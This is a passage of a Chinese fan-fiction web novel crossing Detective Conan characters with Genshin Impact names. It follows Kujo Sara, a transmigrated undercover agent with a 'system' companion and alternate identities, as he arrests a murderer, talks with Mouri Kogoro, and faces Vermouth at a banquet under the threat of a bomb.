九条裟罗目光复杂地凝视着眼前这位□□、脸上泛着红晕的男人,广田富春的神情显得异常兴奋,他的眼神里透露出一种令人不安的自信。
仿佛在广田富春眼中,将九条置于死地不过是一件轻而易举的事情,并且似乎已经迫不及待地,想要在警察的监视下完成杀死他的举动。
这种公然的挑衅,不仅是对法律的蔑视,更是对他内心深处恶趣味的满足。广田富春虽然尚未完全失控,但他的行为已经明显失去了理智的束缚,否则他大可以直接跑路,而不是还想着杀死九条。
只不过因为涉及到了自己切身的利益,想要能够全身而退,所以他那微弱的理智才能勉强挣扎着拉住他,没有让他在警察还在时动手,而是选择了警察离开的时间。
然而令人遗憾的是,他这次无疑是挑错了对象。
就在广田富春洋洋得意之际,眼前突然一花,九条裟罗的身影如幽灵般消失在他的视线中。紧接着,一阵剧烈的疼痛从他的腹部传来。
那是九条裟罗迅速而精准的一击,让他瞬间感受到了生命的威胁。
广田富春痛苦地倒在地上,他终于意识到,自己这次遇到的并非易与之敌,而是真正的硬柿子。在九条裟罗冷静而坚定的目光中,他明白,自己已经踏入了无法回头的深渊。
“啊啊啊啊啊——”
大脑在那一刻迅速清醒了下来,广田富春打滚着尖叫。
九条揉捏着手腕:“放心,死不了。”
虽然身体并不是天狗的肉. 身,但是力气和自愈能力或多或少都继承了些。因此这些年他一直都在有意识地控制,更何况这次挑的还是肉比较多的肚子,所以根本不会出什么事。
广田富春的叫声异常响亮,其目的不言而喻,十之八九是想通过这种方式来分散他的注意力——他企图趁他分神之际,进行突然的偷袭。
这种声东击西的策略虽然并不新奇,但确实足以让人在短时间内陷入被动。
更别说广田富春是个杀人犯,一旦被他抓住机会,谁也不知道会发生什么。
九条心里门儿清,所以目光也一直注视着广田富春。
“砰——”
突然,本就没有关紧的大门,被猛地撞在墙上。
一切已成定局!
广田富春不可能在逃离了!
嗯,如此轻易地就被解决,广田富春能够成功偷窃金店,看来确实是占尽了天时地利人和。他利用了一切可利用的条件,但终究,这一切都只是暂时的辉煌。
不过,现在那一切都不重要了。
望着满头大汗的毛利小五郎,九条的嘴角微微勾起。
感谢老铁送来的业绩,让他能够在踏入警校大门之前,就先立下两份战功。这份成就,无疑为他未来的职业生涯奠定了坚实的基础。
此时此刻,九条仿佛已经看到了一条康庄大道。
一片光明!
他的职业前途一片光明啊——!
而那边,急匆匆赶来的毛利小五郎,第一时间捕捉到了广田富春的身影。余光瞥到九条裟罗毫发无伤后,当即拿出早就准备好了的手铐。
毛利小五郎:“12点23分,广田富春,逮捕归案!”
毫无悬念,广田富春被捕。
自那之后,九条裟罗正式进入警局的视线之中。
#
“爸爸!我之前不是说过吗?”
会场上,毛利兰见毛利小五郎突然沉默,有些无奈道。
毛利小五郎从记忆中抽身,仔仔细细地观察着裟罗。
12年前的那两个案件,算是他转入搜查一课的“开门红”,也是他被称作“重案组之虎”的开端。所以就算时隔多年,“九条裟罗”这个名字还是如同钥匙一般,轻易便打开了他记忆的大门。
这么说来,这张脸跟那小子确实一模一样。
只是因为一个一直板着脸,另一个嘴角一直含笑,差别太大导致他都没认出来!
“哈……是啊,你提到过……”毛利小五郎难得有些烦躁道,只不过当时他没有在意就是了。
谁知道这个所谓的重名,是跟他认识的九条裟罗重名。所谓的“裟罗”,居然是那个臭小子的族人啊!
随即他一脸严肃:“兰,我有话要跟这小子谈谈。”
九条那小子,虽然旁人看不出来,但他可是看的一清二楚,很多时候主动去警局联系他们,虽然会帮忙,但是本意是为了混履历。
不仅如此,他的一举一动中都透露着,他其实是在炫耀的意思——炫耀自己的未来一片大好。
九条:啊?真的这么明显吗?
不过九条也完全有嚣张的资本,之后毛利小五郎也有关注过对方,他在警校中的表现可谓出类拔萃,毫无疑问,称得上大放异彩。
可就是这样的九条裟罗,还没毕业就销声匿迹。最后所有人都对他避之不谈,他的存在就如同烟花一般转瞬即逝,留下一丝难以抹去的遗憾。
因为那理由,他其实也是清楚的,无非就是在做一些见不得人的秘密任务。
然而正是因为清楚,他才有必要跟裟罗好好谈一谈。
——不能让裟罗坏了九条的事。
不然到时候他们都会死的——!
小兰也是难得见毛利小五郎那么严肃,有些呆愣愣地应声:“啊,好。”
裟罗:诶?不问一下我吗?
“当然可以。”
注意到毛利小五郎的视线,裟罗微笑道。
虽然他也不会拒绝就是了。
人少的角落中。
毛利小五郎率先试探地开口:“你,应该也知道我为什么,要跟你单独谈谈吧?”
他就算怀疑九条家的基因,从两个裟罗的脸和小兰口中他解决的案件来看,也该相信裟罗的观察能力才是。
“不出意外,是跟我小叔有关吧。”裟罗耸肩,浑身上下都透露着他很厉害,谁都难不倒他的气息。
毛利小五郎:……
不得不说,有一种看熟人装逼的既视感。
不过……确实跟九条一脉相承。
一
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个明着炫耀一个暗着。
他感觉松了一口气,裟罗确确实实是九条的族人,而不是九条暴露后试探他们的人。
毛利小五郎收起试探又道:“你……不,你们家跟九条的关系不怎么样吧?怎么突然就冒出来了?”
毕竟在他的记忆中,九条从未说过家族的事情。
要说为什么是家族而不是家庭……九条那臭屁样,一看就知道受过上等的教育。
要不是裟罗跟九条长得太像了,他都想一棒子把两人的关联打散。这样就算九条执行任务失败了,也不会牵扯到别人。
至于他为什么那么明白……当年退役的时候,上层也找过他。
他的动机简直就是天赐,再加上那能力,完全就是天选卧底。
只不过毛利小五郎考虑着自己的家庭,毫不犹豫就拒绝了。
“这……确实。”裟罗迟疑道,他很好的扮演了一个心虚的角色。
他目移:“我们一家都住在华国,他突然间跑到了这里不说,还要当警察,大家长一度想要将他逐出家门。”
“那你为什么要过来?”毛利小五郎一针见血。
裟罗直白道:“因为失联太久了,所以我过来了。”
他现在只是一个没成年的少年,那么就利用一下这一点好了——他只是一个来找家人的小可怜,他什么都不知道。
“无论如何,生要见人死要见尸,这是规矩。”裟罗意味深长道。
他是个天才,现在能够帮助警察,未来也会成为警察。所以就算再怎么利用自己未成年的权利,也不能跟个傻白甜一样,对自己小叔失踪多年的事情全然无知。
毛利小五郎听懂了,他诧异地望向面前的人:“你——”
“请别担心,我不会将任何一个人牵扯进来的。”裟罗的视线越过毛利小五郎,看向了远处一个紫色长发的人。
毛利小五郎下意识地就要回头。
裟罗厉声道:“毛利先生!”
“想想您的妻子和女儿,不该牵扯的事情,不要牵扯进去——别看那张脸。”
裟罗冷下了脸,与九条一模一样。
那一瞬间,毛利小五郎想起了工藤新一经常挂在嘴边的一句话。
他的瞳孔不自觉的缩小,眼底一点点泛起些许震撼,随即精神气都似乎消散了不少,一直笔挺的背部塌下,整个人都有些颓然道:“……我知道了。”
一直都是这样啊,他从头到尾都在逃避,可他真的别无他法啊……
“别担心毛利大叔,你只是站在明面上而已。”裟罗拍拍毛利小五郎的肩膀,“大家都在努力不是吗?你从来没有拖后腿啊。”
与妃英理分居,将毛利兰养好,毛利小五郎不也知道自己可能会带来危险,有为家人考虑吗?
毛利小五郎沉默,只是那背部又不知不觉地挺起了。
错身之际,他轻声道:“小子,波罗咖啡店的咖啡还算不错。”
——别死了啊。
“啊这样吗?那有机会请我喝一杯吧~”裟罗回应。
——当然。
13.宴会上的暗流涌动(1)
当然,现在的问题并不是生死。
九条裟罗轻轻转动颈部,再次将目光投向那个熟悉的男性身影。紫色长发松散地编成一个随意的麻花,同色的眼眸深邃而平静,其中没有一丝波澜,宛如一池静谧的湖水,映不出任何情绪的涟漪。
毫无疑问,那就是——「雷电影」。
可作为那个身份的本人,裟罗可以百分百确定那是他人的伪装。而最有可能伪装的人选,自然就是贝尔摩德了。
同时也是他布下这个局后,一直在等的人。
【原来如此。】系统在看到“雷电影”的时候也明白了情况,可是……
【你怎么能保证一定是贝尔摩德来到这里呢?】
裟罗一脸严肃:【我承认我有赌的成分。】
开玩笑,当然不是了。
他赌是他的事情,可是现场还有好几百人呢,他可不能拿那么多人的命去赌。
所以——他提早给贝尔摩德发了一道信息。
【???】系统一脸懵逼。
什么情况?它怎么没有看到所谓的信息?它不是一直盯着裟罗的吗?
裟罗轻笑,他借着走近“雷电影”的空余说:【前两天凌晨发出去的消息。】
在见到他想要见的人之后,他终于还是将计划说了出来。
【啊。】系统反应过来了,就是它说下次事件后离开的那一天。
当时裟罗还小心地将所有可能会暴露的东西全部删除,同时将电脑格式化又下载了大型游戏进行覆盖,之后还安装了多个病毒软件并泡水处理,最后甚至将其彻底拆分扔掉。
因为没有看到回复什么的,所以它也没有在意,原来当时的信息那么重要啊。
系统很是不解道:【不过你都做了那么多,还什么都不跟我解释,任由我误会?】
它果然不能理解人类,为什么要藏着掖着呢?根本没有必要不是吗?
【抱歉,习惯了。】裟罗扯扯嘴角。
无论是在组织还是原来的世界,很多时候都是不能完全将事情说出去的。都充满了无法完全透露的事情。尤其是当他加入组织之后,更是将这种冷酷无情的行事风格贯彻到了极致。
说实话,那样的态度,一度让人以为他要接替琴酒的位置了。至于琴酒,那肯定是继续往上爬了。
只不过所有人都没有想到,那样狠的「雷电影」,也不过是个卧底。
所以说……怎么感觉在组织中,大家伙儿都在摸鱼,就卧底干事最卖力?组织该不会跟前世网友猜测的那样,在故意找卧底干活吧?
裟罗冷不丁地想着。
“虽然不知道你在想什么,但是对我都能走神,看来真的很有自信?”
冷冰冰的声音在耳畔呢喃,仔细看过去,“雷电影”的眼中明晃晃地闪过一丝讥讽。
那浅浅的绿色透过美瞳,毫无保留地展示着自己的真实。
“哈……好歹装一下啊,你这样让我想把你当作影都不行啊。”裟罗无奈叹息。
一般来说,贝尔摩德的伪装几乎是无懈可击的,所以她所使用的道具是同理。换言之,他能看到其本来的瞳色,这本应是不可能的一件事。
而既然出现了这种情况,只能说明她本就没有想要彻底隐藏身份。
贝尔摩德漫不经心地拿起一旁的酒杯,轻轻摇晃着,随后她说:“你是谁?”
裟罗的表情不变。
没错,这就是将身份区分开来,拥有多重马甲的好处!
他绝对不会跟前辈们一样,将马甲暴露出来的!
他!要将马甲贯彻到底!
系统:……
虽然但是,它觉得立flag,可能会更容易暴露?
裟罗(胖橘大声):不可能!绝对不可能!
“这重要吗?”裟罗反问。
贝尔摩德点点头:“是个好选择,不知道该怎么回答的时候,就主动提问题。作用的足够好,甚至可以掌握话题的主导权。”
她站在年长者、教育者的地位,居高临下地指点着裟罗。
嗯,很显然,这种招术对贝尔摩德没有用。
裟罗拿了杯可乐,淡定地看着杯中翻腾的气泡。
“是这样吗?”他笑道:“那就当作是那样吧,所以可以把主导权给我吗?”
贝尔摩德一噎,随即她若有所思地,猛地贴近裟罗,眼中带上试探:“你这厚脸皮的样子,我可真熟悉啊?”
跟「雷电影」一模一样,尤其是装傻充愣的样子。尽管脸和性子完全不同,她居然硬是在裟罗身上,看到了属于「雷电影」的影子。
想到此,贝尔摩德不自觉地陷入了回忆。
那是5年前的事情。
那是「雷电影」加入组织的第三年。
——那是一个寒冷的冬天。
彼时的她穿着有毛茸茸围脖的大衣,正悠闲地在酒吧中喝酒。
虽然包厢中有空调,但是那件外衣很搭她的造型,所以她并没有脱下。
而下一秒,她就庆幸自己没有脱下了。
“砰——”
包厢门被打开,冷冽的寒风瞬间席卷全身。
贝尔摩德:……
她开始思考自己为什么要选一楼的包厢了,而且还是离出口那么近的一个。
真是,手下的人这点眼力见都没有吗?不知道关门的吗?!
贝尔摩德果断地咽下了嘴中的酒,那冰凉的液体滑过喉咙,似乎带着一种难以言喻的苦涩。接着她轻轻放下冷冰冰的酒杯,那清脆的声响在静谧的空气中显得格外刺耳。
随后,她将已经彻底冷下去的双手塞进了袖子中,仿佛在寻求一丝温暖。在一系列细微的动作之后,她才缓缓开口,声音低沉而平静:“Arran,有何贵干?”
她的眼眸低垂,微微抬起眼睑,目光静静地落在雷电影身上。
她当然听说过这个人,他名号也算是在组织中底层中如雷贯耳。然而这其实还是自雷电影加入组织以来,她第一次与他的正式见面。
要说原因,那也很简单。
他们二人分别归属于组织的不同部门,彼此之间并无直接的交集。
事实上,自从她被调至情报部门之后,尽管没有刻意避开与行动部雷电影的接触,可这么两年都没有见面也确实让人意外。
当然,若是真的有必要,她与雷电影相见也并非不可能。然而,她却觉得
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这种做法并无任何意义。
毕竟所谓的“第二个琴酒”,又或是“琴酒替代品”这样的称号,这样满满都是他人意味的传闻,究竟代表着什么?
贝尔摩德对此并无太多兴趣。
在她眼中,雷电影若想引起她的关注,就必须跳出琴酒的影子,成为一个拥有独立个性与价值的人。
老实说她也不是自视过高,但她在组织中的地位确实特殊。
作为组织的核心成员,在她看来,将注意力放在一个无关紧要的人身上,无疑是在浪费自己的时间与精力。
而考虑到得到Arran代号的雷电影,没有自不量力想要走到她跟前,她也就没有多管,可现在是什么情况?
雷电影简单道:“代替琴酒执行任务。”
“哈?”贝尔摩德挑眉,她的记忆还没有差到那么悲哀的地步,一瞬间理解了他的意思。
毫无疑问,这是在说前天Boss亲自下达的命令。
可也正是理解了,她才觉得不解。
贝尔摩德:“琴酒呢?”
那个组织控会将这个任务交给别人?
她不信。
“抓老鼠。”雷电影关上门,理直气壮地坐下,甚至还给自己倒了一杯酒。
贝尔摩德:???
为什么那么自然,跟他才是这包厢的主人一样?
雷电影没有任何过多的解释,看上去也没有攀附之心……
不过……杯中的酒没有少下一滴,杯沿甚至没有碰到嘴……
警惕,甚至可以说是警惕过了头。明明在怀疑她会不会下毒,却依旧这般从容。
这就是雷电影,这就是Arran吗?
那么,希望你能活得久一点——
贝尔摩德饶有兴致地眯起水绿色的眼眸,终于对雷电影升起了兴趣。
雷电影:“……”
他平淡无波地回望。
这就是两人的初遇。
这就是裟罗能找到贝尔摩德藏起来东西的源头。
好奇,是个好词。
一切起于好奇心——
“这就是用问题对付问题吗?”
裟罗歪头,错开了贝尔摩德的同时唤醒了她。
贝尔摩德缓缓吐出一口浊气,缓缓从回忆中抽身。
她吸取了之前的教训,用同样的方式回应道:“是啊小子,不要转移话题了,说说吧,你跟「雷电影」到底是什么关系。”
又为什么会知道我的联系方式。
她咽下了最后一句话。
因为那本应是除她之外,谁都不曾知晓的、被废弃的联系方式。
“好说好说,不如我们换个地方再继续吧?”裟罗想了想,“影其实并不适合一直出现在这里。”
他有必要减少见到「雷电影」这张脸的存在,毕竟他以后还需要用呢。他总共就三个马甲,本就不能独自行动,可不能再继续减少下去了。
马甲!
他需要马甲!
系统思考:【嗯……那要不要我提供一些帮助?】
【只要有身体,小助手应该是可以进入那具身体的。这样一来,就会有能独立行动的「雷电影」了。】
14.宴会上的暗流涌动(2)
宴会二楼的某个房间。
这个房间的布局极为独特,仿佛经过精心设计,呈现出一种完全对称的状态。
无论是从最中间的桌子,还是从对立的沙发,乃至于每一件装饰品,全部都经过严格考量,而对称的布局使得房间内的空间感更加鲜明。
九条裟罗在看到这一幕的瞬间,就明白了贝尔摩德的意思。
毫无疑问,当前的情形无疑是为双方的对峙,制造了最为合适的场面。
不过在这个紧张而又微妙的时刻,贝尔摩德却给了他一种相对平等的待遇——参考他的意见与同意交谈,这在常理中是颇为罕见的。
毕竟在这种情况下,他现在的身份“九条裟罗”,实际上并不具备与贝尔摩德平等对话的资格,没有被她一枪打死都是运气好。
因此,他能与其如此轻松地交谈,确实要归功于他在「雷电影」这个马甲下的不懈努力。
——贝尔摩德相信九条裟罗与雷电影有着某种程度的相识,甚至有可能认为他们就是同一人。
这样的猜测在裟罗心中掠过,他却没有表露出丝毫的迟疑。他的脚步轻盈而坚定,顺势在另一个沙发上坐下,与仍然保持着伪装的贝尔摩德面对面,各占据一方,形成了一种微妙的平衡。
“女士,让我们开始吧?”
裟罗翘起二郎腿,摆出了一副主人的姿态。
这种对峙并非简单的力量对抗,而是双方心理和智慧的较量。在这个关键时刻,任何的犹豫和退缩都可能导致局势的逆转。
如果他没有猜错,这个房间的布局应该是贝尔摩德故意的。她想要展现自己对这个建筑的了解,明里暗里地压他一头,就像刚刚主动带路一样。
所以说,这其实不是什么平等,而是压迫、是割裂。
要是先入为主,只看出贝尔摩德浅层意思就完蛋了。
可这跟他九条裟罗有什么关系?
他不吃这招。
贝尔摩德微笑,她不能确定裟罗到底是没看出来她的意思,还是假装不知道,不动声色地打量着对方:“当然。”
笑死,那诡异的熟悉感又出现了。
考虑到自身情况,再加上其他的一些“例子”,贝尔摩德心里多多少少已经有数了,只不过是需要一些验证。
就比如说,将雷电影脸上的伪装“洗去”。
思绪万千,贝尔摩德的目光落在了裟罗的脸上。
毕竟雷电影不能以自己的模样出现,肯定是做了伪装的。
有意思,看得出来对方的技术很精湛了,她都有些看不出来瑕疵。
然后,贝尔摩德就看到裟罗在注意到她的目光后,淡定地解开了领口的扣子,露出白皙光滑的脖颈。
……光滑?
难道不是雷电影?!
不不不不,不可能。
虽然为了不被看出来,故意将性子弄得跟先前全然不同,但是这也是败笔之一,对于她这样的熟人来说,反而有一种很刻意的感觉。
按照这个思维,裟罗应该是用了到肩膀的人皮面具一类的东西——
裟罗笑道:“需要我脱下上半身的衣服吗?”
贝尔摩德:“……”
尽管裟罗很坦然,可他几乎仅仅只靠她的几个眼神,就看出了她的想法。
就这种熟悉程度,要说他们不认识都很怪吧?要让她怎么能不认为对方就是雷电影?
啧,都脱离组织了,乖乖当缩头乌龟,别给她添麻烦啊!
“好吧好吧,真拿你没办法啊。”裟罗叹气,看上去是愿意配合稳固自己的新马甲了。
可对上贝尔摩德饶有兴致的眼眸,他嘴角一勾,耸肩道:“你不会以为我会这么说然后脱衣服吧?”
贝尔摩德:这个臭小子!
裟罗:诶嘿~皮这一下很开心!
贝尔摩德冷哼一声,从怀中摸出一把枪:“你不敢?莫不是真是Arran?
那可不行那可不行,组织里逃出来的老鼠,得让琴酒解决掉才行啊。”
为什么是琴酒?
望着那黑漆漆的洞口,裟罗却是第一时间注意到了,那个不在现场的人的名字。
贝尔摩德笑了:“今天,送我过来的人是琴酒。”
换言之,实际上琴酒也是知道她要做什么的人。
更别提她现在这张脸,如果真的有什么的话,就意味着琴酒的任务失败了。面对这种情况,琴酒绝对会想着斩草除根的。
而且他是宁可错杀,也绝不放过的性子。
运气不好的话,整个会场的人都得死。
等等?
贝尔摩德脑海中浮现出几张人脸。
裟罗:……
明目张胆的威胁啊,意思是一旦他不听话,就让琴酒炸了这里吗?
不可能,琴酒不会听话的,除非——
“你,一早就安排了炸弹啊。”
裟罗脸上的笑容如同冬日残阳,转瞬即逝,原本微微上扬的嘴角在这一刻急剧落下,他的眼神变得锐利而冷漠,声音中带着一股难以掩饰的冰冷,语气坚定地说着。
而且那个远程控制的按钮,很有可能就在琴酒手中!
事情麻烦了啊,虽然他对此并不意外,也早就料到贝尔摩德可能会做的事了,但是把琴酒也牵扯进来的话,那就确实麻烦了啊。
贝尔摩德面不改色:“一点点必要的措施罢了。”
假的。
如果只是必要的措施,那么她不会让琴酒帮忙。
裟罗不由得眯眼,他想他已经知道答案了。
是因为之前「雷电影」的实力太强了吗?
导致贝尔摩德都有些忌惮了啊……
贝尔摩德嘴角勾起一丝冷笑,语带讽刺地说:“别忘了,你也没资格指责我,你手上的那些有头有脸的人质,难道不是同样无辜吗?没想到你们这种自诩正义的伙伴,也会这么做?
毕竟……如果这里真的被引爆了,那些掌控着我国商界命脉的大佬们,岂不是会一次性全部消失?这样的后果,对我们来说也是一种不小的麻烦和困扰啊~”
当然不仅仅是困扰,还会成为大问题。
或许很多人认为社会混乱对组织是一件好事,可是又有谁还记得,组织的存在也不过才半个世纪多呢?
而这个会场中出现的大人物的集团,又有哪个不是呢?
其中有几个,甚至比组织转到暗处前存在的时间更久。
他们将这些人作为人质的同时,也被雷电影拿捏住了。
“哇——我还真以为你们会完全不管不顾?”裟罗挑眉,故意装作松了一口气的样子。
本来他是那么想的,可是特产一出手就知有没有,鬼知道贝尔摩
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德那么谨慎。
不对,是因为知道了前世贝尔摩德的立场,处在较为灰色的地带,展现出来的大部分都不是纯黑,所以才疏忽了吗?
啧,刻板印象。
贝尔摩德没有回答,只是默默地给枪上了膛:“行了我亲爱的小朋友,寒暄到此为止。”
“回答我的问题,你跟「雷电影」是什么关系?”她歪头,那张脸很帅气,视线却很冷。
裟罗猛地侧头:“哇——就不能装作什么都不知道吗——”
就在刚刚,贝尔摩德在下达最终预告,却没有得到想要的回答后,毫不犹豫就朝着裟罗的大脑开枪了。
枪上有消音器,两人此时还在非常隔音的房间中,贝尔摩德是一点都不怕有人被吸引过来。
“嘶,真疼啊?”裟罗摸摸被子弹划伤的脸,那伤口皮开肉绽,鲜红的血液在重力的作用下缓缓流下。
毫无疑问,他没有佩戴人皮面具。
贝尔摩德:“……”
她当然发现了裟罗故意放慢了一点速度,在自己的脸上留下了伤口。
至于目的,已经显而易见了。
可是不对劲啊?
九条裟罗怎么可能不是雷电影?!
等等?如果当初吃下药的人不是雷电影呢?
毕竟时间紧任务急,琴酒完全是匆匆忙忙过去的,就连那人的死都没能确定。
而且,雷电影跟警局的联系人,可从来没有暴露出来啊!
无数的思绪在脑内翻腾,贝尔摩德在心中建立了许许多多的猜测。
裟罗摊手:“嗯,这样也算是展现诚意了吧?让我们好好谈谈吧,顺便一提你不用卸下伪装哦~”
他比谁都明白组织的戒心,也懂得展示所谓的“诚意”。
只不过现在的裟罗忘记了自己的身份,他是[叛徒],是组织中的老鼠啊——!
“哈,那么再多问一句吧。那个联系方式,只有你知道吧?”贝尔摩德撩起刘海。
随即她当着裟罗的面,将那质量不是很好的美瞳给摘了下来。整个过程似乎完全不在意,裟罗可能会趁着这时候对她动手的样子。
裟罗摸着下巴思考道:“按照我的渠道的话,只有我一个人吧。”
是的,包括雷电影和大号九条裟罗在内。
在仔细聆听完所有的贝尔摩德终于长舒了一口气,她似乎卸下了心中的重担,嘴角随即挂上了一丝嘲讽的笑意:“呼~真难得,没想到琴酒居然被摆了一道啊?”
她轻轻摇了摇头,眼神中流露出一种漫不经心的神情,仿佛刚刚的一切都无关紧要:“不过说到底,现在这一切都不重要了。”
贝尔摩德的语气中透露着一种冷静与超然,仿佛已经将所有的喜怒哀乐都抛诸脑后。
因为于她而言,无论情况到底如何,雷电影没有死这件事在她这里,都已经是板上钉钉的事儿了。
——那么她要做的事情,也很显而易见了。
证据?
那是警察和侦探才需要的东西,更别说还是对付一个已经被确定了的叛徒,那种东西他们可不需要!
总之杀就是了,要是错杀?
那可真是倒霉啊。
贝尔摩德莞尔一笑,手下却是又接连两枪。
她已经没有得到回答的想法了,总归裟罗死了,一切就结束了。
15.宴会上的暗流涌动(3)
啊↗哦↘~?
玩脱了这是?
在枪林弹雨中,强行压制住了贝尔摩德,九条裟罗终于有空思考现状了。
不应该啊,怎么会呢?
裟罗表示自己百思不得其解。
系统:【……】
系统:【6。】
【你……怎么也有时候那么迟钝啊?不对啊,我记得你情商很高啊?故意的吗?】
系统也是百思不得其解。
不知道为什么,它总觉得这个场面很熟悉,要是没有发生过的话,难不成它早就演算了无数次?
裟罗耸肩:【真过分啊,有些过于理所当然的事情,就是我也不知道的好吧?
你家宿主我啊,还没有面面俱到到这个份上哦。】
要是真的什么都知道,那已经可以被称呼为神了,可惜他还做不到这一点。
【原来如此。】
系统若有所思,暗暗记下了这件事,决定要是之后的宿主需要安慰,它就修修改改一下,肯定还能用上。
真的太感谢宿主们给力了,不然它一个新手统都不知道该怎么起步。
嗯,关于系统如何给宿主打气鼓励这些,也要从宿主身上学捏。
——这就是取之于宿主,用之于宿主啊!
尽管不是第一次了,但是系统对此是真的一点都不害臊,反而还很骄傲。
而且不出意外的话,以后也会出现这种情况。
“砰!”
就在裟罗与系统进行交流之际,贝尔摩德敏锐地捕捉到了这个稍纵即逝的机会。
她那只未被控制的拳头在空中划出一道响亮的破风声,如同猛虎下山般,带着一股狠劲狠狠地砸向了裟罗的头部。
这一击要是打中了,轻则脑震荡,重则没了半条命。
然而非常可惜,裟罗的目光始终紧盯着贝尔摩德,对她的动向了如指掌。在贝尔摩德即将得逞之际,他迅速反应,巧妙地利用了对方的攻势。
两手相撞发出极大的声音,可裟罗就好像没有感觉到一般,顺势将贝尔摩德原本灵活的手腕也一并制住了。
这一系列动作如行云流水,干净利落。
“Vermouth,你在小看谁?”他刻意压低了声音,用更为标准的罗马音说着。
当然,这不是裟罗的自我吹嘘,他的体术实力确实不容小觑,足以与琴酒、波本以及黑麦等高手一较高下,甚至可以说是在伯仲之间。若要细究胜负,那便得看当天的状态和手感如何,毕竟这种技艺的较量,往往充满了变数。
顺便一提,在这些“切磋”的总次数中,雷电影是略占上风的。
裟罗:这是肯定的,不要小看了他和系统小助手时间的牵绊啊——!
想要马甲不是没有任何代价的,那段期间,他付出了大量的时间和精力,努力去适应和掌握这副变得诡异而陌生的身体。
一定要用合适的形容去描述的话,可以理解为剑修的方式——在那段时间,他即是刀剑,刀剑即是他,人与刀剑融为一体,难以分割。
所以说啊,他与贝尔摩德的首次相遇,那份刺骨的寒意,并非仅仅来源于寒冷的天气,未尝真的没有裟罗身上的影响。
贝尔摩德一愣,她眯眼道:“你到底是谁?”
明明方方面面都是雷电影的影子,脸上却没有一丝伪装。两个人的脸都是真实的,搞得现在她也有一点混乱了。
什么是真什么是假?
不重要,豆沙了!
贝尔摩德眼中闪过一丝狡黠的光芒,一直努力着的脚尖轻轻一勾,企图将不远处的手枪,重新纳入自己的掌握之中。
她的动作敏捷而隐蔽,仿佛一只伺机而动的猎豹,随时可以发起攻击。
“砰——!”
又是一声闷响。
可这次主动的不是贝尔摩德而是裟罗了。
贝尔摩德倒吸一口凉气:“嘶——你小子……”
她的人皮面具在撞击中破裂开来,鲜血从额角缓缓渗出,堆积在面具的边缘,很开又沿着白皙的脸颊滑落,形成一朵朵触目惊心的红梅。
显然这一次,裟罗是用足了力气的。否则那耗费高昂价格精心制作而成的面具,绝不会出现如此明显的破损,最有可能的是内伤才对。
“女士,我们好好谈谈不好吗?偷袭可不是什么好方式啊。”裟罗微笑,十分和善的说着。
仿佛刚刚将贝尔摩德弄得头破血流的人不是他一样。
贝尔摩德尽可能地压下心中烦躁的情绪,冷笑道:“你这也不是什么好办法啊。”
“好了好了,我们真的不能再浪费时间了,你得在一定时间内回去对吧?”裟罗叹气:“炸弹可不能真的起爆啊。”
其实处于这个考量,他本来是不准备毁掉贝尔摩德的伪装
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的,可是他也不是那种只会守着委屈的性子。
毕竟贝尔摩德都那么明目张胆地要杀死他了,他再不给一些回应,真当他是什么软柿子不成?
贝尔摩德沉默半晌,她放松了肌肉:“……松开。”
试探到此为止,从之前看到的那样分析,裟罗确实可以成为她的合作者——
成为她为天使准备的其他后路。
裟罗闻言却是一愣。
他实在是意想不到,贝尔摩德竟然会如此轻易地被说服。
心中有所顾虑,裟罗深深地注视着贝尔摩德的眼眸,试图从中寻找答案。
在这一刻,他仿佛看到了贝尔摩德的内心世界,明白了她想要表达的意思。
他明白这并不是因为他,而是因为其他人。
是啊,他与贝尔摩德曾经合作了一年多的时间。
虽然他们并不是那种传统意义上的搭档,默契程度也许并不深厚,但是想要理解一些简单的事情,对他们来说已经足够。
说到底,他们的关系,不过是一种利用关系。只要利益足够大,那么他们都可以选择睁一只眼闭一只眼,不去过多地追究对方的真实意图。
此时,昏暗的灯光下,水绿色与暗金色的视线在空气中交织,形成了一幅和谐的画面。
最后,他们双方都露出了心照不宣的微笑。
“合作愉快。”
“啊,当然。”
“……你在说什么?”
在黑色保时捷356A中,琴酒等来了看似毫无问题的贝尔摩德。
看似。
贝尔摩德的演技很好,有时候在其想要可以隐瞒的情况下,就连琴酒都不能确定她的想法。
此时此刻,她的低喃是唯一的突破口。
贝尔摩德回神,她立刻接话:“——没有找到对方,看来你又逃过了一劫啊?”
想要她承认雷电影死亡是绝对不可能的,一看裟罗那狗贼就知道,之后「雷电影」百分百还会再出现,所以现在承认就等于被打脸预定。
而有了这一出戏码,到时候执行者琴酒没什么问题,锅可就全都甩在她身上了。
所以这时候,她只需要挖苦琴酒就可以了。
模糊雷电影生死的真相!
琴酒眼睛微微瞪大,却是没有直接反驳。
他有一种直觉,不对劲!一切都很不对劲——!
16.宴会上的暗流涌动(4)
琴酒直觉不对劲,他几乎是下意识地将从不离手的枪,抵在了贝尔摩德的头上。
他冷声道:“雷电影?!”
因为贝尔摩德的伪装没有卸下,加上身上还有淡淡的血腥味,所以疑心很重的琴酒第一反应就是贝尔摩德死了,现在在车上的是雷电影。
不过出于贝尔摩德的身份,他没有立刻开枪,给了对方解释的机会。
贝尔摩德愣了一瞬。
随即她大笑出声:“哈哈哈哈哈琴酒,哈哈哈哈哈——你这么高估雷电影吗?这种警戒程度,比对赤井秀一的评价还要高吧?”
她也是没有想到,琴酒居然会以为是雷电影假扮成她上车。
不过也是,雷电影在组织中的时候可比黑麦更久,而且他的行为举止也是更得琴酒的心,否则在琴酒身边干那么久,早就被杀了。
就这点来看,琴酒忌惮雷电影不是没有理由。
对此,琴酒的枪不为所动。
曾与雷电影搭档的他很清楚,对雷电影来说,短时间内伪装成他人并不是一件难事。
更别说伪装的还是贝尔摩德,而不是其他一无所知的人了。
所以他现在需要的,是准确无误的答案。
否则他会在此处控制住“贝尔摩德”。
琴酒冰冷的视线在贝尔摩德的四肢上扫视,似乎在寻找哪里最适合开洞。
贝尔摩德当然是看到了,于是也没有多耽搁,毫不犹豫将身上的气囊肌肉衣放气,在撩起刘海挡住伤口的同时说:“哈——这样可以证明了吧?”
这车内的空间可不大,躲一颗两颗子弹倒也无所谓,可琴酒会那样就罢休?
怕是直接就打成“加特林”,要把她打成“筛子”了,所以这时候还是别挑衅琴酒为好,她的小命也是非常珍贵的。
琴酒一顿,他慢吞吞地收起了枪。
“你在遗憾什么?不能杀了我吗?”贝尔摩德见状都无语了。
这狗贼,很想要她的命啊?
要知道平时琴酒无论是拔枪还是手枪,速度都是很快的,只有这种不能杀死讨厌之人的时候,才会明显表现出来不爽。
虽说是琴酒自己不爽,可其实这在外人看来,也是一种威胁。
当然,琴酒对此也是心知肚明的。
